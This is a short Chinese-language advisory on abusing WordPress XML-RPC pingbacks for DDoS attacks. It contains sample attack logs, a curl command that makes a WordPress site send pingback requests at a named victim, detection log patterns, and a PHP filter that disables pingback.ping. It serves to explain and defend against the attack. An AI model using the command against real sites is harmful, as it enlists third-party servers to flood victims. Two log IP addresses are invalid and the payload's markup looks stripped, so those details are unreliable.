任何開啟了Pingback(默認就開啟)的WordPress的站點可以被用來做DDOS攻擊其它服務器。

看如下日志：

574.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com"
121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com"
217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr"
193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de"
..

可以發現每次請求還增加了隨機數/?3162504=9747583以此來繞過緩存。

測試這種攻擊方式只需要一個curl命令就可以了：

$ curl -D - "www.anywordpresssite.com/xmlrpc.php" -d 'pingback.pinghttp://victim.comwww.anywordpresssite.com/postchosen'

想要看你自己的網站是否被用來做了攻擊可以查看日志當中是否包含類似如下的內容：

393.174.93.72 - - [09/Mar/2014:20:11:34 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://fastbet99.com/?1698491=8940641\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A"
94.102.63.238 – - [09/Mar/2014:23:21:01 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://www.guttercleanerlondon.co.uk/?7964015=3863899\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A"

防御此問題的推薦方法需要屏蔽 XML-RPC (pingback) 的功能，WordPress主題中添加如下代碼：

add_filter( 'xmlrpc_methods', function( $methods ) {
unset( $methods['pingback.ping'] );
return $methods;
} );